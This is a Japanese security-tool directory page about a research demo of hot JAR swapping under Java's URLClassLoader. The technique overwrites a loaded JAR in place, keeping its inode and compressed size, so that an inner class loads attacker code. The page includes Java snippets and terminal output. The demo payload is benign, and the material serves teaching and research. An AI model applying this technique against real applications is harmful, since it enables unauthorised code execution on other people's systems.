Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
hot-jar-swapping-urlclassloader — URLClassLoader による JAR スワップのデモ。内部クラスを含む既にロードされた JAR を置き換え、悪用できることを示します。 | Kitploit
ツール/GitHubGitHub/fransr/hot-jar-swapping-urlclassloader
エクスプロイト学習と教育レッドチーミングペイロード開発
GitHubfransr/hot-jar-swapping-urlclassloader

hot-jar-swapping-urlclassloader

URLClassLoader による JAR スワップのデモ。内部クラスを含む既にロードされた JAR を置き換え、悪用できることを示します。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
3273年前Kitploit レビュー済み

URLClassLoader ホットJARスワップ

以下のサンプルコードは、inode が変更されない限り、内部クラスが呼び出されたときに JAR ファイルへアクセスするという事実を悪用して、既にロードされた JAR ファイルをホットスワップし、コード実行を得る能力を示しています。

MacOS + OpenJDK でテスト済み(また、Apple の Author パブリッシャーを Transporter を使って悪用した実績もあります)。

Frans Rosén 氏の NahamCon 2022 EU での講演「Story of a RCE on Apple through hot jar swapping」からのデモです。

実行方法

build-and-run.sh

このように実行します:

root@kitploit:~
./build-and-run.sh

これにより以下が行われます:

root@kitploit:~
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar

Bootstrapper は URLClassLoader を使って HelloWorld.Main クラスをロードして実行し、既にロードされている HelloWorld.Secondary クラスのメソッド hello を実行するよう促します。これは、既にロードされた JAR をいつ置き換えるかを制御するためです。

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

JAR を置き換えずに Enter を押すかどうかを選択できます。その場合、HelloWorld/Secondary.java からの正しいコードフローが表示されます:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123

This is from the legit postVisitDirectory function:
testdir

End of run, goodbye

exploit.sh

exploit.sh は以下の処理を行います:

root@kitploit:~
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not

HelloWorld.jar を exploit.jar で上書きする際のコピー処理は重要です。inode が変わると exploit は成功しないからです。mv コマンドは新しい inode を書き込みますが、既存ファイルへの cp では inode は変わりません。ZIP 展開を使った場合も同様で、既存の JAR の inode は変わらず、exploit が機能するようになります。

ホットJARスワップをテストするには、build-and-run.sh を実行した後、Enter を押す前に、別のウィンドウで exploit.sh を実行してください:

root@kitploit:~
$ ./build-and-run.sh 
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

## Run this in a different terminal:

$ ./exploit.sh 

NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED

-rw-r--r--  1 frans  staff  2281 Dec  9 13:20 rce.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:20 ../HelloWorld.jar

## Now click enter in the other tab to complete the ./build-and-run.sh)

ここで ./build-and-run.sh に対して Enter を押すと、置き換えられたコードが正常に表示されるはずです:

root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir

End of run, goodbye

これは、URLClassLoader が置き換え前に JAR を既にロードしていたとしても、内部クラス/匿名クラスが物理的な JAR ファイルからまだロードされているという事実を悪用できることを示しています。

問題の説明

このコードリポジトリは、いくつかの前提条件の下で、既にロードされた JAR ファイルを上書きしてコード実行を得ることができることを説明しようとしています。

考え方としては、JAR が最初に URLClassLoader でロードされた場合です:

root@kitploit:~
        URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
        URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
        Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
        Constructor<?> constructor = beanClass.getConstructor();
        Object beanObj = constructor.newInstance();
        Method method = beanClass.getMethod("hello");

また、セカンダリメソッドもブート時にロードされましたが、呼び出されることはありませんでした:

root@kitploit:~
        // Initiating the secondary class on boot, this is the one we replace the inner class of
        Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
        Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
        Object secondaryObj = secondaryConstructor.newInstance();
        Method secondaryMethod = secondaryClass.getMethod("hello");

アプリの実行中に JAR が置き換えられ、ロードされたがメソッドが呼び出されたことがないクラスも内部クラスを持つ場合、後で呼び出しが行われたときに、新しい JAR から異なるコードを実行させることができます:

root@kitploit:~
        // Invoke secondary class hello that contains an inner class
        secondaryMethod.invoke(secondaryObj);

つまり、このメソッドが内部クラスを含み(それらは JAR 内で $1.class として現れます)、その内部クラスを同じサイズと圧縮率のものに置き換えれば、JAR をホットスワップして独自のコードを実行させることができます。

エクスプロイトの説明

Exploit/HelloWorld/Secondary.java の匿名クラスは、HelloWorld/Secondary.java がコンパイル・圧縮されたときと同じサイズと圧縮率の内部クラス Exploit/HelloWorld/Secondary$1.class にコンパイルされます。サイズまたは圧縮率が異なる場合、build-and-run.sh で Enter をクリックしたときにクラッシュします。

例えば、Exploit/HelloWorld/Secondary.java を(function: の代わりに functionn に)変更した場合:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("\nThis is from the legit postVisitDirectory functionn");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }

圧縮結果は同じでも圧縮率が異なる場合:

root@kitploit:~
$ ./exploit.sh 
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2280 Dec  9 13:44 exploit.jar
-rw-r--r--@ 1 frans  staff  2281 Dec  9 13:44 ../HelloWorld.jar

次のような出力になります:

root@kitploit:~
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)

Hello from secondary class, here are all files in testdir/

Exception in thread "main" java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
	at HelloWorld.Secondary.hello(Secondary.java:11)
	... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
	at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
	... 6 more

OpenJDK では、元のサイズが異なっていても圧縮サイズが同じであれば、依然として機能するようです:

root@kitploit:~
          public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
            System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
            System.out.println(dir);
            return FileVisitResult.CONTINUE;
          }
root@kitploit:~
$ ./exploit.sh 
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r--  1 frans  staff  2281 Dec  9 13:52 exploit.jar
-rw-r--r--@ 1 frans  staff  2282 Dec  9 13:52 ../HelloWorld.jar
root@kitploit:~
Hello from secondary class, here are all files in testdir/

testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir

exploit.sh は依然として差分があると表示します。すべてのバージョンで機能するとは限らないためです。

また、Exploit/HelloWorld/Secondary.java の内部クラスの外側を変更した場合、例えば:

root@kitploit:~
System.out.println("\nEnd of run, goodbye");

を次のように変更:

root@kitploit:~
System.out.println("\nEnd of run, goodbya");

この場合、Secondary.class は同じ圧縮率とサイズになりますが、クラスは既に URLClassLoader によってロードされているため、置き換えられた内容は実行されません。これは、JAR 内で使用される際に JAR ファイルからロードされる内部クラス(JAR 内で $1.class と名付けられたもの)にのみ影響することを裏付けています:

root@kitploit:~
End of run, goodbye
ツールをダウンロード